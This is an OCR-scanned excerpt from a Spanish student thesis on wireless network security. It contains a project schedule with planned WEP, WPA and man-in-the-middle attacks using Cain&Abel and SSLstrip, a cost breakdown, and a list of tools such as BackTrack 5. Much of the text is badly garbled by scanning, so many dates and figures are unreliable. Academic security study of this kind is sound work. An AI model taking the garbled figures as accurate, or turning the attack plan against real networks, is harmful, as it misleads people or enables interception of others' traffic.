2¢ 32 1instalacion 0e GrWers Nnecesaros para taretas de red y restos de GBPOSRENOS 10 mar18/10/11 mar18/10/11 22
2S 32 2Comprobacion de su comecto funcionamiento 3afas me 1940711 vie 21710711 24
26 33 Instalacion de Software necesario para realizar el ataque 4 dias lun 24/10/11 jue 27110711
27 33.1 instalacion de sofw are para realizarmim y demas hermam lentas 10 un 2471011 un 2471071125
23 33 2Comprobacion y cofrecto uncionamiento 3 aras mar25/10/11 pe 271011127
28 =4 Fin fase implkementacion Oaras| pe2770/11] pe2710/11)
30 4. Pruebas 104 dias jue 27M0/11 mar20/03/12
31 inic fase Pruedas 0 drfas pe 2710411 e 271071129
32 4.1 Ataque WEP 35 dias jue 27710791 mié 14/12/11
33 ) 2411 Busgueda de Clientes protocolo WERP 20das| pe 271011 me 2311711 31
32 &1 2Atagque y Analisis e da®s obtenidos 1scas| pe2e111/11] me 14/12/1133
35 42 Ataque WPA '35 dias jue 15M2/11 mié 01/02/12
36 42 1 Busqueda de Clientes protocoio WPA 20d@s| e 1512/11) mie1101/123¢
37 42 2Ataguey Analisis ce 03Ws ODlenidos 1i5a@s Ne 12011712 m®e 0102/1236
33 43 Analisis datos anteriores 7 dias | jue 0202712 vie 10/02/12
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10 P ruombre de tarea | Duracion Comienzo Fn redecesoras
39 £33 71 Elaporar ista con contrasenas e s 03108 anterores 7 dias Je 0202/12 vie 10/02/1237
0 | 4 4 Fijas objetivo y realizar ataque MITM | 20 dias fun 13/02/12 vie 09/03/12
Ig] | 44 1 Reaizarataque utiizando Cain&Abel | 7 aras| un 1302/12 mar21/02:12 39
12 | 42 2Analisis de 0atos obtenldos con Can&ADdel | 3aras| mie 2202/12] vie 24/02/12 41
3 | 42 3 Realzarataque uliizando SSLstrip | 7dras| KN 2702/12| mar06/03/12 42
'y | 4.4 2 Analisis Ce 0atos Obtenidos con SSLswrp | 3drfas| me 07.03/12 vie 09/03/12 4¢3
is | 45 Elaboracion de informes de datos obtenidos | 7 dias | lun 12/03/12 mar20/03/12
36 | 45 1Eiaborarinforme de daws y conclusiones obtenidas anteriorm ente | 7 afas un 1203712 mar20/03/12 22
<7 =4 | Fin fase Pruedas I Oaras| mar20/03/12 mar20/03/12|
i3 | 5. Documentacion | S5dias mar20/03/12 lun 04/06/12
9 | | iniclo Docum entacion | Oaras mar20/03/12 | mar20/03/12 47
S0 | 5.1 Elaboracion de la documentacion 55 dias mar20/03/12 lun 04/06/12
$3 | Fin fase Documentacion Oaoras un 020612 N 0406/12]
s2 Fin gelProyecto O aras un 0406712 N 024X06/12S53
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proyect.mpp

) - NOmMDTE G€ (area Tranajo Duracion Comienzo Fn e =3 20
1 Proyecto ‘13936 horas 238 dias  jue 07M07/11  lun 04/06/12|Trad. 1040n: |
2 . inicio gdelProyecto Onoras O aras Kre o707 Ne 07X07/11|Trad.
3 1.Analisis 440 horas 55 dias jue 0707/11 mié 21/09/11|Tra0_ £40n0
0 == " Inicko fase Analsis Onormas Odfas| pe07X07/11 me0707/11|Trab.
5 1.1 Analisis y Requisitos 360 horas 45dias jue 07M7/41 mié 07/09/41|Tr20_ 360n
3 1.1.1 Busqueda de docum entacion de nerram entas 220 noras| 300d@s jJeO7X07/11 miwe 17/08/11|Trab. 240n
Ingenlero Dlego EscobarArevallio 240 horas | | e oTP7/IT mIié 17/08/11 |Trap. 240h
7 11 2Lecturay analisis de documentacion 120 noras 1Sad@s jue 18/08/11] m®e 0709/11|Tfab. 120n
ingeniero Diego Escodar Arevailio 120 noras| Jue 1808/11 mI1€ 07/00/11 [Tran 120h
3 12 Analisis de requisitos HW para instalacion 80 horas 10 dias jue 0809/11 mieé 21/09/11|Tran_
E] 121 An3izary entender requis®os minmos para 3 Instalacion de nerramientas 30 noras| 1i0c@s e O0309/11 me 2109/11|Tran. 1
Ingenlero Diego EscodarArevallio 80 horas | | e 0800/11| mié 21/00/11 |Trap. 808
10 |== Fin Tase Analisis ) ) - Ohoras Ocfas| m#®e 2109/11 m®e 2109/11|Trab.
11 2Disefio 152 horas 19 dias mié 21/09/11  lun 17/10/11[Tra0 152h
12 |== inicio fase Disefo Onoras Odfas| me21X09/11 m®e 2109/11|Tran.
i3 2.1 Diseno de instalacion de SW g 120 horas 1S dias mié 21/09/11 mar11/10/11|7r30_ 120n
14 21.1 Definir soNtware necesarik para su nstalaclion 120 noras 1Scas mi 2109/11 mar11/10/11|Trad. 120n
Ingenlero Dlego EscodarArevaliio 120 horas | | mi€ 21/00/11| mar 11/10/11 |[Trap 120n
is 22 Analisis y funcionamiento de sofware instalado 22 horas 4 dias mié 12/10/11 lun 17/10/11[Trano_ 32n
16 221 Defnikion de GrWers necesarios para tarjelas de red en moco monkor 16 noras 20fas| me 12/10/11 Ne 1310/11|Tran. ién
Ingeniero Diego EscodarArevallio 10 horas | T mie 12/10/11| jue 13740711 [Trap 160
17 222 Defnicion de driers restos de OISPOSRNOS 16 noras 2gfas| v 14/10/11| wn 17/70/11[Tran. i)
Ingenlero Dlego EscodarArevallio 10 horas vie 14/10/71 ln 17/10/11 |Trap. TER
18 |== Fin Tase Disefo 1 Onoras Odfas] WA 17/10/11] WA 1770/11[Tran.
19 3. Implementacion 72 horas 9 dias lun 17/10/11  jue 27M0/11[Tra0_ 72n
20 == inicio fase impemenmacidn Onoras Odfasl wn17/10/11] wn 1710/11|Trab.
21 3.1 Instalacion Sistema operativo 8 horas 1dia lun 17/10/11 lun 17/10/11|Tra0_
22 31.1instalacion delsistem 3 operatvo 8 noras 1dfal wn17710/11] wnn17/40/11|Tran.
Ingenlero Diego EscodarArevallio Shoras T RA T7A0/11| Wa 17/10/11 |TraD.
23 32 Instalacion de drivers necesarios e o 32 horas 4dias mar18/10/11  vie 21/10/11Tra0_
24 32.1Instalacion de Orvers NecCesaros para tarnetas de red y restos de dISPOSRNOS 3 horas 14afa mar13/10/11 mar 18/10/11|Trab.
ingeniero Dlego Escodar Arevaiio Shoras | mar18/10/11 mar 18/10/171 [Trap.
25 32 2Comprobacion de su correcto funcionamiento 24 noras 3cdfas, m#®e 19/10/11 vie 21/10/11|Trab.
) Ingeniero Dlego EscodarArevamio ) 24 horas | | mIé10/70/17| wvie 21/10/171|Trab.
26 33 Instalacion de Software necesario para realizar elataque 32 horas 4 dias lun 24/10/11  jue 27M0/11[Tran_
27 33 1instalacion de sOfw are para realizarmRm y gem as hefram lentas sdnoras 1dfa] Wn24710/11 wn2870/11Tran.
Ingenlero Dego EscodarArevalilo Shomas | Wn 2&470/11| lun 24740711 |Trap.
28 33 2Comprobacion y correcto uncionamiento 22 noras, 3cfas| mar25/10/11] e 2710/11|Trab.
ingeniero Dlego EscodarArevalio 2& horas | | mar25/10/11 jue 27710711 [Trad
29 |== Fin fase implkem entacion S “Onoras Odfas jue 27/10/11 je 27110/11(Tran.
30 4_Pruebas 832 horas 104 dias jue 27/10/11 mar20/03/12[Tran_
31 inicko fase Pruedas Onoras Odfas, Je2710/11 jue27710/11|Tran.
Ingenjero Dlego Escobar Arevalilo Ohomss| i | We27/40/11| je 2770711 |Trap
32 4.1 Ataque WEP 280 horas 35 dias jue 27M0/11 mié 14/12/11|Tra0_
33 41 1Busqueda dge Clentes protoco WEP 160 noras 20c@s Je27/10/11 mwe 23741/11|Tran.
Ingeniero Diego Escodar Arevalllo 100 horas | e 27/0/11| mI€ 23/11/11 [Trap
34 41 2Atague y Anallsis de 02Ws ODlenlidos 120 noras| iSd@s pe24/11/11] m®e 14/742/i1[Trap.
ingenlero Dlego Escodar Arevamio 120 noras e 247T/71 mI€ 14/12/77 [Tran.
35 42 Ataque WPA ) 280 horas 35dias  jue 15/12/11 mié 01/02/12|Trao_
36 42 1 Busgueda ce CHentes protocoio WPA 160 noras 20c@s Ke 151211 mi 1101/12|Trab.
Ingenlero Diego EscodarArevalio 100 horas | Jue 15/742/11 mI€ 11/01/12 [Trap.
37 42 2 Atague y Anailsls ce Cavs odtenidos 120 noras 1S5c@s e 1201/12 m® 01X02/12|Tran.
Ingenlero Dego EscodarArevallio 720 horas | | e 12071/12| mI€ 01/02/12 |Trab.
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ig o NOmbDre ge tarea Tranajo Duracion Comienzo Fn Detalles = 20
33 43 Analisis datos anteriores 56 horas 7dias  jue 0202/12 vie 10/02/12Tran.
39 i 23 1 Elaborar iista con contrasefas de s 03108 anterres 56 noras 7 dfas| e 0202712 vk 10/02/12|Trab.
Ingenlero Dlego Escodar Arevalllo 50 horas | | e 0202/12 vie 10/02/12(|Trao.
%0 4 4 Fijas objetivo y realizar ataque MITM 160 horas 20 dias lun 13/02/12 vie 09/03/12Tran_
(%] 42 1 Realzar ataque utilizando Cain&Abvel 56 noras, 7dfas| %un 1302/12 mar21/02/12|Trab.
Ingeniero Dlego EscodarArevalllo 50 horas | | WA 1302/12 mar21/02/172 |Trao.
[¥3 £ 2 2Analisis de 03108 obtenidos con Cam&ADel 24 noras 3afas| mie 22)02/12] vie 24/02/12|Tran.
Ingeniero Diego EscodarArevaliio 2¢& horas | | mI€ 22/02/12 vie 24/02/172|Trap.
33 44 3 Realzarataque utiizando SSLstrip 56 noras 7afas| wn27X02/12) mar06/03/12|Trap.
Ingeniero Diego Escodar Arevalllo 50 noras | | wn 2702/12 mar00/03/12 |[Trao.
2z 42 2 Anaiisis de Catos ODlenidos con SSLswp 24 noras| 3cfas| m® 0703/12 vie 09/03/12[Trab.
Ingeniero Diego Escodar Arevalilo 24 noras | | mi&07/03/12| vie 00/05/12(Trab_
i3 45 Elaboracion de informes de datos obtenidos 56 horas 7 dias  lun 12/03/12 mar20/03/12(Tran_
[ 45 1Elaporarinforme de 03Ws y concClusiones obDtenidas anteriorm ente $6 noras 7 afas kN 12,03/12 mar20/03/12|Trad.
Ingenlero Dlego Escodar Arevalilo 50 horas | | Wwn 12/03/12| mar20/03/12 |Trab.
€7 |== Fin fase Pruedas Ohoras Odfas| mar20/03/12 mar20/03/12|Trap.
3 5. Documentacion 440 horas 55dias mar20/03/12 lun 04/06/12[Tr30_
3 inicio Docum entacion Onormas Ocfas| mar20/03/12] mar20/03/12|Trab.
Ingenlerc Diego Escodar Arevalilo Ohormas | mar20/03/12 mar20/03/12|Tran.
50 5.1 Elaboracion de la documentacion 440 horas S5Sdias mar20/03/12 lun 04/06/12(Tra0_
$3 |== Fin fase Documentacion Onhoras Ocdfas| WNO04X06/12] wn 0406/12|Trav.
s2 Fin delProyecto Cnoras Cdfas| N 04X06/12 wn0206/12|Tran.
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Detalies 2012 2013 2014 2015 2016 2017 2018 2019 2020
S1 §$2 S1 S2 S1 S$2 S1 S$2 S1 S2 S1 S2 S1 S2 S1 S2 S1 S2

Tradp S6n
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Trad 160n
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Trab. 440n

Traop aon

Traon. on
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Presupuesto

Para la realizacién del proyecto han sido necesarios diferentes materiales, tales como
un ordenador portatil, un ratén, una tarjeta de red inaldmbrica USB, una motocicleta,
gasolina para el repostaje de la misma y un ingeniero a tiempo completo para el
desarrollo del mismo.

Autor: Diego Escobar Arevalillo

Descripcion del proyecto:

- Titulo: Seguridad y Control en comunicaciones Inalambricas.

- Duracién (meses): 11 meses

Presupuesto total del Proyecto (valores en euros): 35.924,34€uros

Desglose presupuestario (costes directos)

COSTES COMPONENTES HARDWARE

Descripcion Coste(€uros) Dedicacién el | Dedicacion Coste
proyecto % mensual Imputable

Portatil Sony 800,00 100 11 183,33
Vaio VGN-
NS20E

Rato6n 20,00 100 11 4,58
Logitech M-
UAE96

Tarjetadered | 50,00 100 11 11,45
inalambrica
USB Alfa
Network
modelo
AWUS036h d
1w

Tabla 8. Costes Componentes Hardware

*Nota: En cuanto a Elementos Hardware, tenemos en cuenta que solo pueden utilizarse
durante 4 afios 0 48meses, por lo que imputaremos la parte proporcional a 11 meses (22,91%)

Proyecto Fin de Carrera: Diego Pagina 126 de 128
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COSTES COMPONENTES SOFWARE

Descripcion Coste(€uros) Dedicacién el | Dedicacion Coste
proyecto % mensual Imputable

Microsoft 309,00 100 11 309,00

Windows 7

Profesional 64

Bits

Microsoft 449,00 100 3 449,00

Office 2010

Microsoft 1067,00 100 1 1067,00

Office Project

2010

Back Track 5 Gratuito 100 5 0,00

rl

Wifiway 3.0.4 | Gratuito 100 5 0,00

Wifislax Gratuito 100 5 0,00

Adobe 270,00 100 1 270,00

Photoshop cs6

*Nota: En cuanto a Software se refiere imputaremos el 100%, ya que

Tabla 9. Costes Componentes Software

expresamente para el PFC

OTROS COSTES
Descripcion Coste(€uros) Coste
Imputable
Gasolina 95 350,00 350,00
Dietas 300,00 300,00

Tabla 10. Otros Costes

su uso ha sido

*Nota: En cuanto a las Dietas se ha basado en comida rapida, principalmente bocadillos y latas

de Coca Cola.

Proyecto Fin de Carrera: Diego

Escobar Arevalillo
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COSTES PERSONAL
Nombre y Categoria Dedicacién el | Coste Coste
Apellidos proyecto persona/mes | Imputable
Diego Escobar | Ingeniero 11 2500,00 27.500,00
Arevalillo Informatico
Tabla 11. Costes Personal
COSTE TOTAL DEL PROYECTO
Descripcion Coste(€uros) IVA 18% Coste
Imputable

Costes 199,36 35,88 235,24

Componentes

Hardware

Costes 2095,00 377,10 2472,10

Componentes

Software

Otros Costes 650,00 117,00 767,00

Costes 27.500,00 4950,00 32.450,00

Personal

TOTAL 30.444,36 5479,98 35.924,34

Tabla 12. Coste Total del Proyecto

Proyecto Fin de Carrera: Diego
Escobar Arevalillo
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